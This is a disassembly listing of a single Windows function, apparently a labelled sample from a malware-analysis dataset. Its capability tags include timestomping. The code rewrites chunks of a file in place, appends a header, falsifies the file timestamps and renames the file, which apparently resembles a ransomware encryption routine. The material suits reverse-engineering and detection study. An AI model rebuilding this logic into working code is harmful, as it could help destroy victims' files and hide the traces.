Function at 0x401d65
Capabilities:
Check if file exists
Get file attributes
Get file size
Move file
Read file on windows
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0xc0000000
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x402213
lea ecx, [ebp - 0x4c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [ebp - 0x48]
cmp eax, dword [0x41a06c]
jl 0x402209
jg 0x401dc5
mov eax, dword [ebp - 0x4c]
cmp eax, dword [0x41a068]
jb 0x402209
push 0x1f
push 0xb
lea eax, [ebp - 0x27c]
call fcn.0040c75d
pop ecx
pop ecx
push dword [0x41bb1c]
lea eax, [ebp - 0x27c]
push eax
push dword [ebp + 0xc]
mov ebx, 0x415ae0
push ecx
push 0x42b0d381
push 7
push ebx
call fcn.0040a71a
add esp, 0x10
push eax
lea ecx, [ebp - 0x10]
call fcn.0040c998
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x401e54
mov esi, dword [ebp - 0x10]
call fcn.00408de5
and dword [ebp - 0x10], 0
push 0x1f
push 0xb
lea eax, [ebp - 0x27c]
call fcn.0040c75d
pop ecx
pop ecx
push dword [0x41bb1c]
lea eax, [ebp - 0x27c]
push eax
push dword [ebp + 0xc]
push ecx
push 0x42b0d381
push 7
push ebx
call fcn.0040a71a
add esp, 0x10
push eax
lea ecx, [ebp - 0x10]
call fcn.0040c998
add esp, 0x10
push dword [ebp - 0x10]
call edi
cmp eax, 0xffffffff
jne 0x401e0d
mov di, word [0x41a080]
mov esi, dword [ebp - 0x48]
and dword [ebp - 0x14], 0
and dword [ebp - 0x20], 0
mov ebx, dword [ebp - 0x4c]
movzx eax, di
cdq
mov byte [ebp - 5], 0
cmp esi, edx
jl 0x401ec4
jg 0x401e88
cmp ebx, eax
jbe 0x401ec4
mov ecx, dword [0x41a08c]
movzx edi, di
sub ebx, eax
sbb esi, edx
mov dword [ebp - 0x28], edi
xor edi, edi
push edi
push ecx
push esi
push ebx
mov dword [ebp - 0x14], ecx
call sub.ntdll.dll__alldiv
mov cl, byte [0x41a05d]
movzx edx, cl
cmp eax, edx
ja 0x401ebc
mov byte [ebp - 5], 1
mov dword [ebp - 0x14], ebx
jmp 0x401ecc
mov byte [ebp - 5], cl
mov dword [ebp - 0x20], eax
jmp 0x401ecc
movzx eax, bx
mov dword [ebp - 0x28], eax
xor edi, edi
cmp byte [ebp - 5], 0
mov dword [ebp - 0x18], edi
je 0x401f1c
movzx ebx, byte [ebp - 5]
mov eax, ebx
push edi
shl eax, 3
call fcn.00408cd8
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x402209
xor esi, esi
cmp ebx, edi
jbe 0x401f1c
mov eax, dword [ebp - 0x20]
call fcn.0040ac29
xor ecx, ecx
cmp esi, edi
jbe 0x401f11
mov edx, dword [ebp - 0x18]
cmp dword [edx + ecx*8], eax
je 0x401ef6
inc ecx
cmp ecx, esi
jb 0x401f04
mov ecx, dword [ebp - 0x18]
mov dword [ecx + esi*8], eax
inc esi
cmp esi, ebx
jb 0x401ef6
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [0x41a054]
add eax, 2
push 8
call fcn.00408cd8
mov ebx, eax
pop ecx
cmp ebx, edi
je 0x402201
movzx eax, word [0x41a078]
push edi
push edi
push edi
push dword [ebp - 0xc]
lea esi, [eax + ebx + 0x15]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
movzx edi, word [ebp - 0x28]
push 0
lea eax, [ebp - 0x74]
push eax
push edi
push esi
push dword [ebp - 0xc]
mov dword [ebp - 0x30], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebx], 0x72627263
call fcn.0040ac8c
push dword [ebp + 0x10]
mov dword [ebx + 4], eax
mov al, byte [ebp - 5]
mov byte [ebx + 0xa], al
mov eax, dword [ebp - 0x14]
mov dword [ebx + 0xb], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
mov word [ebx + 8], ax
mov ax, word [ebp - 0x28]
mov word [ebx + 0xf], ax
mov eax, esi
call fcn.0040ab89
mov dword [ebx + 0x11], eax
movzx eax, word [0x41a078]
lea edi, [ebx + 0x15]
push eax
call fcn.00401cff
xor edi, edi
cmp byte [ebp - 5], 0
pop ecx
mov dword [ebp - 0x1c], edi
je 0x401fe8
mov eax, dword [ebp - 0x14]
push edi
call fcn.00408cd8
pop ecx
mov dword [ebp - 0x1c], eax
cmp eax, edi
je 0x4021fa
movzx eax, byte [ebp - 5]
movzx ecx, word [ebx + 8]
mov dword [ebp - 0x3c], eax
lea eax, [ecx + eax*8 + 0x18]
push edi
mov dword [ebp - 0x44], eax
call fcn.00408cd8
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
cmp esi, edi
je 0x4021f2
mov eax, dword [ebp - 0x5c]
push dword [ebp + 0x10]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [esi], eax
mov eax, dword [ebp - 0x64]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x68]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [esi + 0x14], eax
mov eax, dword [ebp - 0x70]
mov dword [esi + 0x10], eax
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x38]
push eax
push ebx
mov dword [ebp - 0x38], edi
call fcn.0040b435
pop ecx
pop ecx
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x38], edi
je 0x4021ed
mov dword [ebp - 0x40], edi
cmp dword [ebp - 0x3c], edi
jbe 0x402101
jmp 0x402069
xor edi, edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x40]
mov esi, dword [eax + ecx*8]
imul esi, dword [ebp - 0x14]
add esi, dword [ebp - 0x30]
push edi
push edi
push edi
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push edi
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 0x24]
push eax
push edi
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x1c]
call fcn.0040ab89
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x40]
push 0
push dword [ebp - 0x14]
mov dword [ecx + edi*8 + 4], eax
movzx eax, word [0x41a078]
push dword [ebp - 0x1c]
push eax
lea eax, [ebx + 0x15]
push eax
call fcn.004096f7
add esp, 0x14
push 0
push 0
xor eax, eax
push eax
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
mov dword [ebp - 0x40], edi
cmp edi, dword [ebp - 0x3c]
jb 0x402067
mov esi, dword [ebp - 0x20]
xor edi, edi
mov eax, dword [ebp - 0x3c]
shl eax, 3
push eax
movzx eax, word [ebx + 8]
push dword [ebp - 0x18]
lea eax, [eax + esi + 0x18]
push eax
call sub.ntdll.dll_memcpy
movzx eax, word [0x41a078]
add esp, 0xc
push edi
push dword [ebp - 0x44]
push esi
push eax
lea eax, [ebx + 0x15]
push eax
call fcn.004096f7
mov esi, dword [ebp - 0xc]
add esp, 0x14
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
cmp ax, word [ebp - 0x28]
jae 0x402174
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov eax, 0xff
call fcn.0040ac29
push edi
mov byte [ebp - 6], al
lea eax, [ebp - 0x24]
push eax
push 1
lea eax, [ebp - 6]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec dword [ebp - 0x30]
jne 0x402150
push 2
mov dword [ebp - 0x34], edi
xor eax, eax
push eax
lea edi, [ebp - 0x30]
stosd dword es:[edi], eax
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x20]
push esi
call edi
push 0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x58]
push dword [ebp - 0x38]
push esi
call edi
push 0
lea eax, [ebp - 0x24]
push eax
push dword [0x41a060]
push dword [0x41a07c]
push esi
call edi
mov eax, 0x18894
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x54]
push eax
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov esi, dword [ebp - 0x38]
call fcn.00408de5
mov esi, dword [ebp - 0x20]
mov byte [ebp - 6], 1
call fcn.00408de5
mov esi, dword [ebp - 0x1c]
call fcn.00408de5
mov eax, ebx
call fcn.00408e2b
mov esi, dword [ebp - 0x18]
call fcn.00408de5
mov esi, dword [ebp - 0xc]
call fcn.00409a17
xor esi, esi
cmp dword [ebp - 0x10], esi
je 0x402238
cmp byte [ebp - 6], 0
je 0x402230
push dword [ebp - 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
setne byte [ebp - 6]
mov esi, dword [ebp - 0x10]
call fcn.00408de5
mov al, byte [ebp - 6]
pop edi
pop esi
pop ebx
leave
ret